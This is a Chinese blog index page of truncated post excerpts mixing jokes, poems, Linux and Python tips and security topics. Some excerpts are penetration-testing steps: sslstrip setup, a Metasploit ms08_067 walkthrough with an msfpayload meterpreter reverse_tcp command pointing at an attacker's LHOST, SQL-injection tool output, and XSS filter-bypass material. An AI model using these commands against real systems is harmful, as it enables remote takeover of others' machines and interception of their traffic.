正面旺得福反面泰瑞宝外太空星空的博客
你有什么技能或知识是可以跨领域迁移的？今天看到一条新闻，深有感触：复旦校长杨玉良日前演讲时谈到学生更应该是在大学中“悟道、受业、释惑”，他说：“其实，爱因斯坦说过……学生必须对美和良好的道德有深切的感受，仅有专业知识的学生更像是一条经过良好训练的狗……”他这一番话，话糙理不糙，不管你从事什么行业在工作中一定要培养一些技能或知识可以跨领域迁移。通常用硬技能和软技能来区分不同的知识和能力。硬技能是指的
假期 OSCer 们肯定喝了不少酒，参加了不少宴会啊，聚会的，今天我们来学习学习程序猿喝酒的艺术～大家喝的是啤酒。这时你入座了。你给自己倒了杯可乐，这叫低配置。你给自已倒了杯啤酒，这叫标准配置。你给自己倒了杯茶水，这茶的颜色还跟啤酒一样，这叫木马。你给自己倒了杯可乐，还滴了几滴醋，不仅颜色跟啤酒一样，而且不冒热气还有泡泡，这 叫超级木马。你的同事给你倒了杯白酒，这叫推荐配置。人到齐了，酒席开始了。
1.解压ZIP文件乱码unzip命令加入‘-O CP936’参数即可。unzip -O CP936 冰客安全网渗透系列.zip 2.禁止Guest账户 sudo sh -c 'printf "[SeatDefaults]\nallow-guest=false\n" >/usr/share/lightdm/lightdm.conf.d/50-no-guest.conf'此命
1.下载jdk1.7.0_67并且解压，放知道/usr/local/lib/jvm目录下tar zxvf jdk1.7.0_67.tar.gzsudo mv jdk1.7.0_67 /usr/local/lib/jvm2.编辑~/.bashrc文件，添加如下内容。JAVA_HOME后的内容为你自定义的JDK存放目录export JAVA_HOME=/usr/local/lib/jvm/jdk1.7
Woo...Woo...原谅我几番莽撞冲动过 原谅我始终软弱拖累太多 人潮未冲散当初这一伙 刀山里火海里从来无惧过 有一天赶上壮丽落霞 把酒乾杯松开牵挂 哼歌去走音哪管 这刻已无价 到一天得到欢呼喧哗 心照一刻抱拥一下 当天热血挥洒 谁说白过这年华 明白锥心的说话都为我 明白委屈的眼眸忍著痛楚 长年右跟左只得这一伙 东奔里西窜里 仍然无惧过
内容来自网络加上自己的一点编辑，Requirements:Python >= 2.5 (apt-get install python)The python "twisted-web" module (apt-get install python-twisted-web)Setup:tar zxvf sslstrip-0.9.tar.gzcd sslstrip-0.9(optional) su
作者：食指 当蜘蛛网无情地查封了我的炉台，当灰烬的余烟叹息着贫困的悲哀，我依然固执地铺平失望的灰烬，用美丽的雪花写下：相信未来。当我的紫葡萄化为深秋的露水，当我的鲜花依偎在别人的情怀，我依然固执地用凝霜的枯藤，在凄凉的大地上写下：相信未来。我要用手指那涌向天边的排浪，我要用手掌那托住太阳的大海，摇曳着曙光那枝温暖漂亮的笔杆用孩子的笔体写下：相信未来。我之所以坚定地相信未来，是我相信未来人们的眼睛—
由于我是先发在qq空间里了，复制过来时图片禁止外链，下面有这篇文章完整版的附件提供下载1.msfconsoleshow exploitsuse windows/smb/ms08_067_netapi show payloads2.msfpayload windows/meterpreter/reverse_tcp LHOST=YoursIP LPORT=4444 x > /root/Desk
C:\Users\Stone\Desktop\themole-0.3>mole.exe _____ _ ___ ___ _ &nbs
网上的例子铺天盖地了，在这里我想说的是:openvas-check-setup //如果不知道在哪里的话可以用这个链接去拷贝一份保存到本地这个脚本很重要！在安装Openvas之前什么都不操作，直接运行这个脚本，然后根据它运行的排错提示一步步执行达到安装的目的。我觉得使用这个检查脚本和网上的教程结合使用会减少你浪费很多不必要的时间。系统环境：Backtrack R3
一、//加载OpenVAS插件msf > load openvas二、//连接openvas引擎的语法msf > openvas_connect[*] Usage:[*] openvas_connect username password host port <ssl-confirm>msf > openvas_connect admin admin 10.10.10
1.单网卡配单IP（普遍）vi /etc/network/interface auto eth0 iface eth0 inet static address IP netmask 子网掩码 gateway 网关 2.单网卡双IP （情况较少，多用于区分服务或者安全隐藏）vi /etc/network/interface auto eth0：0 iface eth0：0 inet static a
我们都知道linux是一个多任务多用户的操作系统，linux对各种权限有着很细致的管理。如果对linux权限管理不了解，建议移步《鸟哥的linux私房菜》 了解。本文谈两个很容易被忽视，又偶尔会突然蹦出来，给我们配置服务器造成困扰的权限管理问题。1、太宽的权限 有些服务对权限的要求会是一个区间，小了不行，大了也不行。如果这个文件被赋予的权限不够，那么肯定不能使用；但是，如果这个文件被赋予的权限太
用一首诗开始我的博文：那时我们有梦，关于文学，关于爱情，关于穿越世界的旅行。如今我们深夜饮酒，杯子碰到一起，都是梦破碎的声音。——北岛也许我们无法明白“活着”的意义，但是我们已经为“活着”付出了太多代价；也许我们无法实现自己的梦想，但是我们已经为梦想流下了太多泪水。我们能做的，仅仅是在这条路上走得更远，绝不能回头。天堂未必在前方，但地狱一定在身后。
%r 和 %s 该用哪个？ 记住 %r 是 debug 专用，它显示的是原始表示出来的字符，而 %s 是为了显示给用户。# -*- coding: utf-8 -*-print "你多大了？"age = raw_input()print "你多高？"height = raw_input()print "你多重？"weight = raw_input()print "你的年龄是：%s ，身高是：%s
input() 和 raw_input() 有何不同？ input() 函数会把你输入的东西当做 Python 代码进行处理，这么做会有安全问题，你应该避开这个函数。
转义符功能\\Backslash () 反斜杠\'Single quote (‘) 单引号\"Double quote (”) 双引号\aASCII Bell (BEL) 响铃符\bASCII Backspace (BS) 退格符\fASCII Formfeed (FF) 进纸符\nASCII Linefeed (LF) 换行符\N{name}Unicode 数据库中的字符名，其中 name 就是
XSS不具有浏览器通用性。不同的浏览器对同一XSS的适用不一样。相比较而言，IE8和Firefox相对更安全，本身就对XSS攻击有更严格的过滤。而IE6的安全性一般，即使攻击者的代码有些“变形”，浏览器还是会“尽力而为”的解析。而其他的一些浏览器如opera，XSS安全处理可能做得更差。本文基本上是在IE6的基础上给大家分析XSS的变形和绕过。以便大家有针对性的防护。作者参阅了互联网上一些XSS攻
Baruch Computing and Technology Center (BCTC)Mail HeaderAn email will gather together information from each of the computers it passes through on the way to the recipient and this is stored in the ema
下面列了五个例子来详细说明，这几个例子的主要功能是：在5秒后，自动跳转到同目录下的hello.html（根据自己需要自行修改）文件。1) html的实现?123456<head><!-- 以下方式只是刷新不跳转到其他页面 --><metahttp-equiv="refresh"content="10"><!-- 以下
链接:http://pan.baidu.com/share/link?shareid=1547970863&uk=707730794 密码:w7lr
[root@FreeBSD ~]#/sbin/mount -t cd9660 /dev/acd0 /cdrom在/etc/fstab里让系统自动挂载光驱：[root@FreeBSD ~]#vi /etc/fstab[root@FreeBSD ~]#more /etc/fstab# Device Mountpoint FStype Options Dump Pass#/dev/ad0s1b none
2010-07-10再次受教育再次受教育，感谢成哥。成成 23:32:45c 学的怎么样了？L-K 23:32:56告一段落啦L-K 23:33:03在看操作系统成成 23:33:04接下来呢？成成 23:33:18恩，操作系统相当重要好好研究L-K 23:33:17和《Unix环境高级编程》L-K 23:33:3
应该算半个IT人吧，最起码大学里学的是网络专业。这份工作先是个过渡吧，充电吧骚年……！！
两周的工作摘要
蜜罐的配置模式① 诱骗服务（deception service）诱骗服务是指在特定的IP服务端口帧听并像应用服务程序那样对各种网络请求进行应答的应用程序。DTK就是这样的一个服务性产品。DTK吸引攻击者的诡计就是可执行性，但是它与攻击者进行交互的方式是模仿那些具有可攻击弱点的系统进行的，所以可以产生的应答非常有限。在这个过程中对所有的行为进行记录，同时提供较为合理的应答，并给闯入系统的攻击者带来系
路由器工作原理 路由器是工作在IP协议网络层实现子网之间转发数据的设备。路由器内部可以划分为控制平面和数据通道。在控制平 面上，路由协议可以有不同的类型。路由器通过路由协议交换网络的拓扑结构信息，依照拓扑结构动态生成路由表。在数据通道上，转发引擎从输入线路接收IP包 后，分析与修改包头，使用转发表查找输出端口，把数据交换到输出线路上。转发表是根据路由表生成的，其表项和路由表项有直接对应关系，但转
账号角色：1、Tomcat 4.x和5.x版本用户角色分为：role1，tomcat，admin，manager四种。role1：具有读权限；tomcat：具有读和运行权限；admin：具有读、运行和写权限；manager：具有远程管理权限。Tomcat 6.0.18版本只有admin和manager两种用户角色，且admin用户具有manager管理权限。2、Tomcat 4.1.37和5.5.
众所周知，SQL注入攻击是最为常见的Web应用程序攻击技术。同时SQL注入攻击所带来的安全破坏也是不可弥补的。以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞。BSQL HackerBSQL Hacker是由Portcullis实验室开发的，BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注)，其设计的目的是希望能对任何的数据库进行SQL溢出注入。 BSQL Hacker的适
Copyright © 2005-2024 51CTO.COM 版权所有 京ICP证060544号
